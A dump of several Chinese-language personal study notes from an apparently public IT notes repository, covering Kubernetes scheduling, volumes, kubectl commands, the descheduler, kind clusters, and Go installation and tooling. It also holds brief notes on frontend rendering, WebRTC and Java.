10 | 2. Kubernetes 1.8版本引入了基于Pod优先级抢占(Pod Priority Preemption)的调度策略,此时Kubernetes会尝试释放目标节点上低优先级的Pod,以腾出资源安置高优先级的Pod,这种调度方式被称为“抢占式调度”。
11 | 3. 在Kubernetes 1.11版本中,该特性升级为Beta版本,默认开启。
12 | 4. 在Kubernetes 1.14版本中正式Release。
13 |
14 | - 可以通过以下几个维度来定义Pod Priority Preemption:
15 |
16 | - Priority,优先级;
17 | - QoS,服务质量等级;
18 | - 系统定义的其他度量指标。
19 |
20 | - 机制
21 | 当一个Node发生资源不足(under resource pressure)的情况时,该节点上的kubelet进程会执行驱逐动作,此时Kubelet会综合考虑Pod的优先级、资源申请量与实际使用量等信息来计算哪些Pod需要被驱逐;\
22 | 当同样优先级的Pod需要被驱逐时,实际使用的资源量超过申请量最大倍数的高耗能Pod会被首先驱逐。对于QoS等级为“Best Effort”的Pod来说,由于没有定义资源申请(CPU/Memory Request),所以它们实际使用的资源可能非常大。
23 |
24 | ### yaml
25 |
26 | 1. 设置优先级类(PriorityClass不属于任何命名空间)
27 |
28 | ```yaml
29 | apiVersion: scheduling.k8s.io/v1beta1
30 | kind: PriorityClass
31 | metadata:
32 | name: priority-10000
33 | value: 10000 # 数字越大,优先级越高,超过一亿的数字被系统保留,用于指派给系统组件。
34 | globalDefault: false
35 | description: "Avoid evicting by descheduler"
36 | ```
37 |
38 | - globalDefault
39 | 1. 表示 PriorityClass 的值应该给那些没有设置 PriorityClassName 的 Pod 使用。
40 | 2. 整个系统只能存在一个 globalDefault 设置为 true 的 PriorityClass。
41 | 3. 如果没有任何 globalDefault 为 true 的 PriorityClass 存在,那么,那些没有设置 PriorityClassName 的 Pod 的优先级将为 0。
42 |
43 | 2. Pod使用优先级类
44 |
45 | ```yaml
46 | apiVersion: v1
47 | kind: Pod
48 | metadata:
49 | name: nginx
50 | labels:
51 | env: test
52 | spec:
53 | containers:
54 | - name: nginx
55 | image: nginx
56 | imagePullPolicy: IfNotPresent
57 | priorityClassName: high-priority
58 | ```
59 |
--------------------------------------------------------------------------------
/container/Kubernetes/k8s-functions/volume.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2020-11-16
3 | ---
4 |
5 | [TOC]
6 |
7 | ## Volume
8 |
9 | - 参考文档
10 | https://kubernetes.io/docs/concepts/storage/volumes/
11 | https://www.kubernetes.org.cn/4069.html
12 |
13 | - volume 是kubernetes Pod中多个容器访问的共享目录。
14 |
15 | - volume 被定义在pod上,被这个pod的多个容器挂载到相同或不同的路径下。
16 |
17 | - Volume 的生命周期独立于容器。
18 |
19 | ### 常见的Volume类型
20 |
21 | 1. EmptyDir\
22 | 把宿主机的空目录挂载进pod, 会在宿主机上创建数据卷目录并挂在到容器中。\
23 | Pod被删除后,数据也会丢失。
24 |
25 | 2. HostPath
26 | 把宿主机的真实存在的目录挂载进Pod。
27 | Pod被删除后,数据不会丢失。
28 |
29 | 3. Ceph
30 |
31 | - Ceph RBD:可读写的方式映射只能映射给一个用户使用,只读的方式可以同时映射给多个用户使用。
32 | - CephFS:可读写的方式能映射给多个用户使用。
33 |
34 | 4. NFS\
35 | NFS是Network File System的简写,即网络文件系统,NFS是FreeBSD支持的文件系统中的一种。
36 | NFS基于RPC(Remote Procedure Call)远程过程调用实现,其允许一个系统在网络上与它人共享目录和文件。
37 | 通过使用NFS,用户和程序就可以像访问本地文件一样访问远端系统上的文件。
38 | NFS是一个非常稳定的,可移植的网络文件系统。具备可扩展和高性能等特性,达到了企业级应用质量标准。由于网络速度的增加和延迟的降低,NFS系统一直是通过网络提供文件系统服务的有竞争力的选择。
39 |
40 | ```yaml
41 | volumes:
42 | - name: volumes-name
43 | nfs:
44 | path: ${path}
45 | server: ${IP}
46 | ```
47 |
48 | ### 概念讲解
49 |
50 | - PersistentVolumeClaim
51 |
52 | pod - pvc - pv 是用户对存储资源的请求
53 | pod - * - node
54 |
55 | - subPath
56 | volumeMounts.subPath
57 | 指定卷中的一个子目录,映射进容器内。
58 |
--------------------------------------------------------------------------------
/container/Kubernetes/k8s-overview/command.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2020-11-16
3 | ---
4 |
5 | [TOC]
6 |
7 | ### 指令
8 |
9 | https://kubernetes.io/zh/docs/reference/kubectl/cheatsheet/
10 |
11 | 1. 编辑
12 | KUBE_EDITOR="nano" kubectl edit svc/docker-registry
13 |
14 | 2. 重启某个命名空间下的所有deployments
15 | kubectl -n project-stg1 get deployments.apps | awk '{print $1}' | sed 1d | while read i;do kubectl -n project-stg1 rollout restart deployment $i;done
16 |
17 | 3. 开启dashboard
18 | https://github.com/kubernetes/dashboard
19 | kubectl proxy --address='0.0.0.0' --accept-hosts='^\*$'
20 |
21 | 4. kubectl get podes
22 | -o wide
23 | -n kube-system
24 | -w 持续查看
25 |
26 | 5. 只创建pod
27 | kubectl run --generator=run-pod/v1 nginx-name --replicas=2 --image=nginx --port=80
28 |
29 | 6. 创建一个服务
30 | kubectl expose deployment nginx --port=80 --type=NodePort --target-port=80 --name=nginx-service
31 |
32 | 7. 下载最新稳定版的kubectl
33 | curl -LO https://storage.googleapis.com/kubernetes-release/release/$(curl -s https://storage.googleapis.com/kubernetes-release/release/stable.txt)/bin/linux/amd64/kubectl
34 |
35 | 8. 更改默认命名空间
36 | kubectl config set-context --current --namespace=default
37 | 验证
38 | kubectl config view | grep namespace:
39 |
40 | 9. 查看所有的api资源
41 | kubectl api-resources
42 |
43 | - 资源版本
44 | kubectl api-versions
45 | - 查看资源对象拥有的字段
46 | kubectl explain 资源名 --recursive
47 | - 位于名字空间中的资源
48 | kubectl api-resources --namespaced=true
49 | - 不在名字空间中的资源
50 | kubectl api-resources --namespaced=false
51 |
52 | 09. 查看所有Pod的状态
53 | kubectl get po | awk '{count[$3]++;} END {for(i in count) {print i,"" count[i]}}' | grep -v 'STATUS'
54 |
55 | 10. 删除pod
56 |
57 | kubectl delete po ${pod-name} --grace-period 30
58 | --grace-period # default 30s
59 | --force # 强制删除
60 |
61 | 10. node维护
62 | cordon 命令将node1标记为不可调度,不影响任何已经在其上的Pod,但新的pod不能被调度过去。 node1状态变为SchedulingDisabled
63 | drain 命令将运行在node1上运行的pod标记为evicted状态,随后pod平滑的转移其它节点上。
64 | 对node1进行一些节点维护的操作,如升级内核,升级Docker等;
65 | uncordon 命令解锁node1,使其node1重新变得可调度;
66 |
67 | 11. 驱逐
68 | 每10秒驱逐一个pod
69 | In most cases, the node controller limits the eviction rate to --node-eviction-rate (default 0.1) per second, meaning it won't evict pods from more than 1 node per 10 seconds.
70 |
71 | 12. node节点状态Ready不等于true时
72 | If the Status of the Ready condition remains Unknown or False for longer than the pod-eviction-timeout (an argument passed to the kube-controller-manager), all the Pods on the node are scheduled for deletion by the node controller. The default eviction timeout duration is five minutes.
73 | True if the node is healthy and ready to accept pods, False if the node is not healthy and is not accepting pods, and Unknown if the node controller has not heard from the node in the last node-monitor-grace-period (default is 40 seconds)
74 |
--------------------------------------------------------------------------------
/container/Kubernetes/k8s-overview/develop.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2020-12-19
3 | ---
4 |
5 | [TOC]
6 |
7 | # 社区
8 |
9 | - 参考
10 | - https://stupefied-goodall-e282f7.netlify.app/keps/
11 | - https://draveness.me/kubernetes-contributor/
12 | - https://kubernetes.io/community/
13 |
14 | 1. SIG(Special Interest Groups) 特别兴趣小组\
15 | Kubernetes 目前包含 20 多个 SIG,它们分别负责了 Kubernetes 项目中的不同模块。
16 |
17 | 2. KEP(Kubernetes Enhancement Proposal) 提案\
18 | 因为 Kubernetes 目前已经是比较成熟的项目了,所有的变更都会影响下游的使用者,对于功能和 API 的修改都需要先在 kubernetes/enhancements 仓库对应 SIG 的目录下提交提案才能实施,所有的提案都必须经过讨论、通过社区 SIG Leader 的批准。
19 |
20 | 3. WG(Working Groups) 工作小组
21 |
22 | 4. UG(User Groups) 用户小组
23 |
24 | 5. slack
25 |
26 | - 进入slack方式 https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/
27 |
28 | ## 分布式协作
29 |
30 | 1. 与公司内部项目的开发模式不同,几乎所有的开源社区都是一个分布式的、松散的组织,这种特殊的场景非常考验项目的管理方式。
31 | 2. Kubernetes 中所有的社区会议都会使用 Zoom 录制并上传到 Youtube,大多数的讨论和交流也都会在对应的 issue 和 PR 中。
32 | 3. Kubernetes 社区除了提倡公开讨论之外,它还包含功能强大的测试系统,每个提交的 PR 都需要通过两个以上成员的 Review 以及几千个单元测试、集成测试、端到端测试以及扩展性测试,这些测试共同保证了项目的稳定。
33 |
34 | ## 代码规范
35 |
36 | Kubernetes 项目使用 golint 作为静态检查工具
37 |
38 | ## 版本迭代
39 |
40 | alpha --> beta
41 |
42 | ## 设计模式
43 |
44 | - Kubernetes它工作的整个核心都是围绕Etcd里面存的对象来工作的,称这之为面向API Object的编程模型。
45 | - Kubernetes里所有的组件,Scheduller,Kubelet等等,全部维护了一个自己的Control Loop,相当于在不断地循环Etcd。
46 |
--------------------------------------------------------------------------------
/container/Kubernetes/k8s-overview/k8s-api-server.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/garysdevil/ITNote/83bb1287b041c48c1b5f77c1bf0a29c4a7a25d31/container/Kubernetes/k8s-overview/k8s-api-server.png
--------------------------------------------------------------------------------
/container/Kubernetes/k8s-overview/k8s-component.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/garysdevil/ITNote/83bb1287b041c48c1b5f77c1bf0a29c4a7a25d31/container/Kubernetes/k8s-overview/k8s-component.png
--------------------------------------------------------------------------------
/container/Kubernetes/k8s-overview/k8s-etcd.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/garysdevil/ITNote/83bb1287b041c48c1b5f77c1bf0a29c4a7a25d31/container/Kubernetes/k8s-overview/k8s-etcd.png
--------------------------------------------------------------------------------
/container/Kubernetes/k8s-overview/k8s-install.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2021-01-15
3 | ---
4 |
5 | [TOC]
6 |
7 | ## 二进制安装
8 |
9 | https://github.com/easzlab/kubeasz
10 | https://my.oschina.net/u/4255236/blog/4873696
11 |
12 | ## kind 测试环境
13 |
14 | - 参考
15 | https://kind.sigs.k8s.io/
16 |
17 | ```bash
18 | # 简单创建集群
19 | kind create cluster --name kind-1
20 |
21 | # 根据配置文件创建集群
22 | kind create cluster --config kind-config.yaml
23 |
24 | # 查看所有集群
25 | kind get clusters
26 |
27 | # 获取集群的配置
28 | kind get kubeconfig > /tmp/admin.conf
29 |
30 | # 使用kubectl操作集群
31 | kubectl config set-context kind-kind 或者
32 | export KUBECONFIG=集群的配置文件位置
33 |
34 | # 查看k8s集群信息
35 | kubectl cluster-info --context ${contexts.context.name}
36 |
37 | # 查看 kubectl 已知的位置和凭证
38 | kubectl config view
39 | # cat /etc/kubernetes/admin.conf 要么 cat ~/.kube/config
40 |
41 | # 加载一个镜像进node里
42 | kind load docker-image ${image-name}
43 |
44 | # 查看node里的镜像
45 | docker exec ${node-name} crictl images
46 | ```
47 |
48 | vim kind-config.yaml
49 |
50 | ```yaml
51 | kind: Cluster
52 | apiVersion: kind.x-k8s.io/v1alpha4
53 | nodes:
54 | - role: control-plane
55 | - role: worker
56 | - role: worker
57 | # kind create cluster --config kind.yaml
58 | ```
59 |
--------------------------------------------------------------------------------
/container/Kubernetes/k8s-overview/k8s-resource.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/garysdevil/ITNote/83bb1287b041c48c1b5f77c1bf0a29c4a7a25d31/container/Kubernetes/k8s-overview/k8s-resource.gif
--------------------------------------------------------------------------------
/container/Kubernetes/k8s-sigs/README.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2020-12-19
3 | ---
4 |
5 | [TOC]
6 |
7 | ## SIG API Machinery
8 |
9 | ## SIG-autoscaling
10 |
11 | - SIG Autoscaling 专注于改进 HPA (Horizontal Pod Autoscaling)API 和算法
12 |
13 | ## SIG-Azure
14 |
15 | ## SIG-cli
16 |
17 | ## SIG-cloud-provider
18 |
19 | ## SIG-cluster-lifecycle
20 |
21 | ## SIG-instrumentation
22 |
23 | ## SIG-node
24 |
25 | ## SIG-scheduling
26 |
27 | ## SIG-storage
28 |
--------------------------------------------------------------------------------
/container/Kubernetes/k8s-sigs/descheduler.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2020-12-10
3 | ---
4 |
5 | [TOC]
6 |
7 | ## 背景
8 |
9 | 1. scheduler工作机制,如果不发生驱逐或者手动干预,Pod的一生只会被调度一次。
10 | 2. descheduler项目 目前不支持根据node资源的真实使用情况进行二次调度。
11 |
12 | ## 需求
13 |
14 | 1. 让K8s周期性评估node资源真实情况,将Pod调度都资源最富余的node上。
15 |
16 | ## descheduler
17 |
18 | - https://github.com/kubernetes-sigs/descheduler
19 |
20 | ### 机制
21 |
22 | - 主要工作原理\
23 | 使用封装好的k8s客户端client-go与k8s集群进行通信,获取集群中node和pod的情况,然后读取规则,最终决定是否驱逐node上的pod(通过标记为evicted)进其它的node上。
24 |
25 | ### 策略
26 |
27 | 1. LowNodeUtilization: 根据node上所有Pod的request请求资源量/node资源总量 来评估。
28 |
29 | ```yaml
30 | apiVersion: "descheduler/v1alpha1"
31 | kind: "DeschedulerPolicy"
32 | strategies:
33 | "LowNodeUtilization":
34 | enabled: true
35 | params:
36 | nodeResourceUtilizationThresholds:
37 | thresholds:
38 | "cpu" : 20 # Request小于20%则为underutilized
39 | "memory": 20 # Request小于20%则为underutilized
40 | "pods": 20 # Request小于20%则为underutilized
41 | targetThresholds:
42 | "cpu" : 50
43 | "memory": 50
44 | "pods": 50
45 | ```
46 |
47 | ## 解决方案
48 |
49 | 1. 基于descheduler项目,通过调用其它工具(例如Prometheus)来获取node资源的实际使用情况UsedResource,然后进行 UsedResource/node资源总量 来评估,是否需要将Pod调度到另一个节点上。
50 |
51 | ### 实施过程
52 |
53 | 1. 获取node节点的Allocatable资源 (通过client-go查看Etcd获取Allocatable)
54 | 2. 获取node节点的资源实际使用情况metrics (通过 metric-server)
55 | 3. 获取Pod的资源使用情况metrics (通过 metric-server)
56 | 4. 和配置进行对比,选出资源使用超标的节点
57 | 5. 选出可以evict的pod
58 | 6. 重新调度
59 | - 方式一 将pod调度到资源使用低的节点上。 -- 需要重写k8s scheduler
60 | - 方式二 terminate pod
61 |
62 | #### 具体细节
63 |
64 | - 使用k8s库go-client和apiserver进行交互
65 | 1. 节点真实使用的内存和CPU
66 | curl 127.0.0.1:8001/apis/metrics.k8s.io/v1beta1/nodes/${nodename}
67 | 2. Pod真实使用的内存和CPU
68 | curl 127.0.0.1:8001/apis/metrics.k8s.io/v1beta1/${namespace}/pods/${podname}
69 | 3. 获取所有节点的内存和CPU
70 | curl 127.0.0.1:8001//api/v1/nodes/
71 |
72 | #### metric-server
73 |
74 | 0. Metrics Server 是 Kubernetes 集群核心监控数据的聚合器,Metrics Server 从 Kubelet 收集资源指标,并通过 Merics API 在 Kubernetes APIServer 中提供给缩放资源对象 HPA 使用。也可以通过 Metrics API 提供的 Kubectl top 查看 Pod 资源占用情况,从而实现对资源的自动缩放。
75 | 1. 只保存数据在内存里
76 | 2. 不保存历史数据
77 | 3. metric-server是扩展的apiserver,依赖于kube-aggregator,因此需要在apiserver中开启相关参数。
78 |
79 | ### 缺陷
80 |
81 | 1. 首次调度由Controller决定,descheduler无法控制。
82 | 2. 可能的死循环:descheduler驱逐了Pod-A,新Pod-A每次都会被再次调用到原来的node节点上。
83 |
--------------------------------------------------------------------------------
/container/Kubernetes/k8s-sigs/kustomize.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2020-12-08
3 | ---
4 |
5 | [TOC]
6 |
7 | # kustomize
8 |
9 | 1. 允许用户将不同环境所共享的配置放在一个文件目录下,而将其他不同的配置放在另外的目录下
10 |
--------------------------------------------------------------------------------
/container/container.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2024-12-30
3 | ---
4 |
5 | [TOC]
6 |
7 | ## 容器的主要功能
8 |
9 | 1. 应用隔离 - 通过命名空间和控制组实现进程、网络、文件系统等资源的隔离,使应用运行在独立环境中。
10 | 2. 轻量级虚拟化 - 相比传统虚拟机,容器共享主机操作系统内核,启动更快、资源占用更少。
11 | 3. 可移植性 - 将应用及其依赖打包,确保在不同环境中都能稳定运行。
12 | 4. 版本控制 - 支持镜像的分层存储和版本管理,方便回滚和升级。
13 |
14 | ## 容器编排的主要功能
15 |
16 | 1. 容器调度:
17 |
18 | 1. 自动将容器分配到适当的主机上运行,基于可用的资源(CPU、内存等)进行最优部署。
19 |
20 | 2. 自动扩容与缩容:
21 |
22 | 1. 根据应用负载的变化,动态增加或减少容器数量以满足需求,优化资源利用。
23 |
24 | 3. 容错与自愈:
25 |
26 | 1. 当容器出现故障时,自动检测并重启失败的容器。
27 | 2. 如果某个节点故障,容器编排工具会将其工作负载重新分配到其他健康的节点。
28 |
29 | 4. 服务发现与负载均衡:
30 |
31 | 1. 自动管理容器间的通信,通过服务发现机制找到对应的服务。
32 | 2. 实现流量的负载均衡,提高服务的可用性。
33 |
34 | 5. 版本管理与回滚:
35 |
36 | 1. 支持蓝绿部署或滚动升级,可以无缝更新服务到新版本。
37 | 2. 如果出现问题,可以快速回滚到先前的稳定版本。
38 |
39 | 6. 资源监控和日志管理:
40 |
41 | 1. 提供对容器资源使用的实时监控(如 CPU、内存使用)和性能指标的收集,帮助管理员优化集群性能。
42 |
43 | ## 思考
44 |
45 | 1. 当前状况: 业务程序运行在容器内,这些容器由容器编排系统管理。
46 | 2. 问题: 如果容器或容器编排系统出现故障,业务程序会崩溃。
47 | 3. 需求: 我希望有一种工具,暂且称之为“程序治理系统”,具有以下功能:
48 | 1. 实现类似于容器编排系统(如Kubernetes)对容器编排的主要功能,“程序治理系统”实现了对业务程序的直接编排。
49 | 2. “程序治理系统”自身出现问题时不影响业务程序的正常运行。
50 | 4. 实现“程序治理系统”的思路或要求:
51 | 1. 独立架构:业务程序和“程序治理系统”独立运行,互不影响。因此,“程序治理系统”出现故障时,业务系统依然可以正常运作。
52 | 2. 主动监测:“程序治理系统”主动监控业务程序,获取相关指标,并执行相应的编排任务。
53 |
--------------------------------------------------------------------------------
/language/frontend/frontend.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2021-11-30
3 | ---
4 |
5 | [TOC]
6 |
7 | ## html解析为可视化界面
8 |
9 | - 从顶部往下解析
10 |
11 | 1. 解析HTML,生成DOM树;解析CSS,生成CSSOM树
12 | 2. 将 DOM 树和 CSSOM 树结合,生成渲染树(Render Tree)
13 | 3. Layout(回流): 根据生成的渲染树,进行回流(Layout),得到节点的几何信息(位置,大小)
14 | 4. Painting(重绘): 根据渲染树以及回流得到的几何信息,得到节点的绝对像素
15 | 5. Display: 将像素发送给GPU,展示在页面上。(这一步其实还有很多内容,比如会在GPU将多个合成层合并为同一个层,并展示在页面中。而css3硬件加速的原理则是新建合成层)
16 |
17 | ## 前端
18 |
19 | ### Javascript
20 |
21 | ```html
22 |
23 |
24 |
25 |
26 |
32 |
33 |
34 |
37 | ```
38 |
39 | ### Jquery
40 |
41 | ```js
42 | $(selector).each(function(index,element))
43 | ```
44 |
45 | ### 事件驱动
46 |
47 | 1. web交互,通过事件监听
48 |
49 | 1. 将函数写在html的元素里。
50 | 2. onclick。
51 | 3. addEventListener(0
52 |
53 | 2. 事件委托:解决事件监听过多会消耗内存和减慢加载速度速度的问题。
54 |
--------------------------------------------------------------------------------
/language/frontend/webrtc.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2021-12-15
3 | ---
4 |
5 | [TOC]
6 |
7 | ## 链接
8 |
9 | - WebRTC演示网站 https://appr.tc/
10 | - 源码 https://github.com/webrtc
11 | - 第三方教程 http://www.vue5.com/webrtc/webrtc.html
12 | - 官网
13 | - https://webrtc.org/
14 | - https://webrtc.org.cn/
15 |
--------------------------------------------------------------------------------
/language/golang/RELEASE.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2020-11-16
3 | ---
4 |
5 | [TOC]
6 |
7 | ## Go
8 |
9 | - 官网 https://golang.org/
10 |
11 | 1. 起源:Google工程师20%时间的产物
12 | 2. 定位:系统开发语言。
13 | 3. 特点:静态强类型、编译型、并发型,并具有垃圾回收功能的编程语言。
14 |
15 | - 时间线
16 |
17 | 1. 2007年:雏形设计。
18 | 2. 2009年11月:正式宣布推出,成为开放源代码项目。
19 | 3. 2012年3月:Go1.0 第一个稳定版。
20 | 4. 2015年8月:Go1.5 Go语言的运行时和工具链全部从C语言改用Go语言实现.
21 | 5. 2018年8月:Go.1.11 启用了module模块概念。
22 |
23 | - Algol
24 | - CPL
25 | - BCPL
26 | - B
27 | - C
28 | - C++
29 | - Java
30 | - C#
31 | - Algol W
32 | - Pascal
33 |
--------------------------------------------------------------------------------
/language/golang/go-dev.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2020-11-21
3 | ---
4 |
5 | [TOC]
6 |
7 | ## Go插件
8 |
9 | 1. 代码质量检查
10 |
11 | ```bash
12 | golint .\main.go
13 | ```
14 |
15 | 2. 代码提示
16 |
17 | - 参考 https://mp.weixin.qq.com/s?\_\_biz=MzAxNzY0NDE3NA==&mid=2247484866&idx=1&sn=6872f1d6dc1064a39a7772166bea7790&chksm=9be32a23ac94a3350b1d2a721469371fc4d7d162c667feb9344b7a9531d86e1d139769a72a2a&scene=27#wechat_redirect
18 | - gopls 2021年
19 |
20 | 3. 文档 godoc
21 |
22 | ```bash
23 | # godoc
24 | go get -v -u golang.org/x/tools/cmd/godo
25 | # 生成本地文档服务器
26 | godoc -http=:6060
27 | ```
28 |
29 | ## CLI操作
30 |
31 | ### go编译
32 |
33 | ```bash
34 | # 1. 编译当前目录并输出指定可执行文件
35 | go build -o 输出指定文件
36 |
37 | # 2. 编译运行
38 | go run .
39 |
40 | # 3. 精简编译
41 | go build -ldflags "-s -w"
42 | -s 相当于strip掉符号表
43 | -w 告知连接器放弃所有debug信息
44 |
45 | # 4. 编译时使用vendor中的依赖
46 | go build -mod vendor
47 |
48 | # 5. 查看执行 go install 时,二进制被安装的路径。二进制会被安装在 $GOBIN 目录下
49 | go list -f '{{.Target}}'
50 | ```
51 |
52 | ```bash
53 | # 通过源代码中的注释生成相关文件
54 | go generate
55 | ```
56 |
57 | ### gofmt
58 |
59 | - 官方提供的代码格式化工具
60 |
61 | ```bash
62 | # -w 直接将结果输出到源文件
63 | # -l 列出被格式化的文件
64 | # -s 开启简化代码功能
65 |
66 | # 格式化单文件
67 | gofmt -l -w test.go
68 |
69 | # 格式化整个工程
70 | gofmt -l -w ./
71 | ```
72 |
73 | ### 其它
74 |
75 | ```bash
76 | # 删除mod下载下来的文件
77 | go clean -modcache
78 | ```
79 |
--------------------------------------------------------------------------------
/language/golang/go-env.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2020-11-19
3 | ---
4 |
5 | [TOC]
6 |
7 | ## Go安装
8 |
9 | - https://golang.org/dl
10 | - https://golang.google.cn/dl/
11 |
12 | ### linux安装
13 |
14 | ```bash
15 | cd /opt
16 | wget https://go.dev/dl/go1.23.4.linux-386.tar.gz
17 | rm -rf /usr/local/go && tar -C /usr/local -xzf go1.23.4.linux-386.tar.gz
18 |
19 | # linux环境变量 # 中国大陆内环境加一条配置 export GOPROXY=https://goproxy.cn,direct
20 | tee /etc/profile.d/golang.sh > /dev/null << 'EOF'
21 | export GOROOT=/usr/local/go
22 | export GOPATH=/usr/local/go/gopath
23 | export PATH=$PATH:/usr/local/go/bin:/usr/local/go/gopath/bin
24 | export GO111MODULE=auto
25 | export GO15VENDOREXPERIMENT=1
26 | EOF
27 |
28 | source /etc/profile
29 | go version
30 | ```
31 |
32 | - GOROOT
33 | - 是 Go 的安装目录,存放 Go 的编译器、工具链和标准库。
34 | - 确保 GOROOT 指向你安装的 Go 版本的路径,特别是如果你可能在同一机器上使用多个 Go 版本。
35 | - GOPATH
36 | - Go 的工作区路径,存储开发项目和依赖包。
37 | - Go 1.16 或更高版本时,GOPATH 可以选择不设置,因为 Go Module 模式下,项目目录可以独立于 GOPATH。
38 | - PATH,添加 Go 的二进制文件路径:
39 | - /usr/local/go/bin:Go 编译器和工具链的可执行文件路径。
40 | - /usr/local/go/gopath/bin:Go 项目中安装的依赖包的可执行文件路径。
41 | - GO111MODULE
42 | - Go 1.14 及以后的版本默认开启了 Go Module 模式。
43 | - auto:在有 go.mod 文件时启用模块模式,否则禁用。
44 | - GO15VENDOREXPERIMENT
45 | - 允许在项目中使用 vendor 文件夹存储依赖包。
46 | - 对于 Go 1.5 和 1.6 有意义,但在 Go 1.7+ 后默认启用。
47 |
48 | ### windows安装
49 |
50 | 默认安装目录 C:\\Go
51 | 默认go path目录 C:\\Users\\Administrator\\go
52 |
53 | ### mac安装
54 |
55 | ```bash
56 | brew install go
57 |
58 | echo 'export GOPATH=/Users/gary/go
59 | export GOBIN=$GOPATH/bin
60 | export PATH=$PATH:$GOBIN' >> ~/.zshrc
61 | ```
62 |
63 | source ~/.zshrc
64 |
65 | ### 基于vscode的开发环境
66 |
67 | - https://blog.csdn.net/snans/article/details/106939925
68 |
69 | 1. 安装插件Go
70 | ctrl+shift+x 打开插件扩展列表
71 | 下载go插件
72 |
73 | 2. 配置代理
74 |
75 | - https://goproxy.io/zh/docs/getting-started.html
76 | 1. windows环境变量 GOPROXY=https://goproxy.io
77 |
78 | 3. 下载go tools
79 | ctrl+shift+p 打开命令面板
80 | 搜索 Go:install/update Tools, 点击全选ok
81 |
82 | 4. 重启vscode
83 |
84 | ## Go指令
85 |
86 | - 临时环境变量
87 | - Go version >= 1.13,直接用go env -w 设置
88 |
89 | ```bash
90 | go env -w GOPROXY=https://goproxy.io,direct # 或 go env -w GOPROXY=https://goproxy.cn
91 | go env -w GO111MODULE=on
92 |
93 | # 取消代理
94 | #取消 goproxy 代理设置
95 | go env -u GOPROXY
96 | go env -w GOPROXY=direct
97 | ```
98 |
99 | ```bash
100 | # 查看 GOPROXY 变量
101 | go env | grep GOPROXY
102 | go env | findstr GOPROXY # Windows环境
103 | ```
104 |
--------------------------------------------------------------------------------
/language/golang/go-feature.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2020-11-16
3 | ---
4 |
5 | [TOC]
6 |
7 | - 参考
8 | - https://zhuanlan.zhihu.com/p/49049392
9 |
10 | # Go
11 |
12 | - 将并发机制纳入Go的关键字
13 | - 编译为二进制但又带有垃圾回收机制和运行时反射能力
14 |
15 | ## 特性1
16 |
17 | 1. 自动垃圾回收
18 |
19 | 2. 函数多返回值
20 |
21 | 3. 异常处理
22 | 传统OOP使用try()catch{}模块捕获异常,Go引入三个关键字defer、panic和recover
23 |
24 | 4. 匿名函数和闭包
25 |
26 | 5. 类型和接口
27 |
28 | 6. 高并发
29 |
30 | 7. 支持反射
31 |
32 | 8. 语言交互性
33 | 重用了大部分的C模块,Cgo允许开发者混合编写C语言代码
34 | import "C"
35 |
36 | ## 特性2
37 |
38 | 1. Go语言追求显式的表达,避免隐含。
39 |
40 | 1. 禁止参数默认值
41 |
42 | 2. 强类型语言
43 |
--------------------------------------------------------------------------------
/language/golang/go-package-k8s.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2020-12-17
3 | ---
4 |
5 | [TOC]
6 |
7 | ## k8s.io/apimachinery/pkg/api/resource
8 |
9 | 1. 文档
10 | https://godoc.org/k8s.io/apimachinery/pkg/api/resource#pkg-index
11 |
12 | 2. type Quantity
13 | https://physics.nist.gov/cuu/Units/binary.html
14 |
15 | ## 代码生成器
16 |
17 | - 参考
18 | 1. https://zhuanlan.zhihu.com/p/99148110
19 | 2. https://tangxusc.github.io/2019/05/code-generator%E4%BD%BF%E7%94%A8/
20 | 3. https://www.openshift.com/blog/kubernetes-deep-dive-code-generation-customresources
21 |
22 | 1. conversion-gen
23 |
24 | - https://github.com/kubernetes/code-generator
25 | - 用于自动生成在内部和外部类型之间转换的函数的工具。
26 |
27 | 2. deepcopy-gen
28 |
29 | - https://godoc.org/k8s.io/gengo/examples/deepcopy-gen
30 |
31 | 3. defaulter-gen
32 |
33 | ## client-go
34 |
35 | - client-go有四类客户端
36 | RestClient、ClientSet、DynamicClient、DiscoveryClient。
37 | RestClient是最基础的客户端,它对Http进行了封装,支持JSON和protobuf格式数据。
38 | 其它三类客户端都是通过在REStClient基础上再次封装而得来。
39 |
--------------------------------------------------------------------------------
/language/golang/go.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2021-08-06
3 | ---
4 |
5 | [TOC]
6 |
7 | #### golang的栈内存分配机制
8 |
9 | - 当创建一个goroutine时,Go运行时会分配一段8K字节的内存用于栈供goroutine运行使用,
10 |
11 | 1. 第一代 分段栈(Segmented Stacks)
12 | - 扩栈:通过morestack函数
13 | - 缩栈:通过lessstack缩栈。
14 | - 缺陷:栈缩时性能开销大
15 | 2. 第二代 连续栈(continuous stacks)
16 | - 扩栈:创建一个两倍于原stack大小的新stack,并将旧栈拷贝到其中。
17 | - 缩栈:垃圾回收的过程中实现
18 | - 缺陷:分配了更多的栈空间,但微不足道。
19 |
--------------------------------------------------------------------------------
/language/java/grammar.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2020-11-16
3 | ---
4 |
5 | [TOC]
6 |
7 | - 参考
8 | - https://www.matools.com/api/java8
9 | - https://docs.oracle.com/javase/8/docs/api/
10 |
11 | ## 数据结构
12 |
13 | 1. 常用数据类型:
14 | - 数字类型,String,Map,List。
15 |
16 | ## 设计模式
17 |
18 | 1. 常用设计模式:
19 | - 工厂模式,观察者模式,装饰模式。
20 | - 单例(懒汉饿汉)
21 |
